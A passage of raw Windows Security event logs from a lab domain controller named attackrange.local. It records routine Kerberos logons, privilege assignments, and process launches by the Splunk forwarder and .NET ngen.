SeEnableDelegationPrivilege -03/12/2021 12:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=254820 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B2C2E0E9-929A-C511-E973-355DB274D318} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40800000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 12:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254819 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1D6C38 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 62518 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254818 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D6C38 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254817 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1D6BEF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254816 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D6BEF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254815 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1D6AE1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62517 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254814 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D6AE1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254827 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254829 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12d8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254828 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254831 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe34 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 310 -InterruptEvent 0 -NGENProcess 36c -Pipe 378 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254830 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 35c -InterruptEvent 0 -NGENProcess 328 -Pipe 364 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254835 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe50 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254834 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9fc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1ac -InterruptEvent 0 -NGENProcess 35c -Pipe 37c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254833 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 36c -InterruptEvent 0 -NGENProcess 350 -Pipe 310 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254832 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254836 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254840 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11f8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 348 -InterruptEvent 0 -NGENProcess 33c -Pipe 3a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254839 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9dc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 390 -InterruptEvent 0 -NGENProcess 350 -Pipe 394 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254838 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1DC11D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62522 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:07:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254837 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1DC11D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - 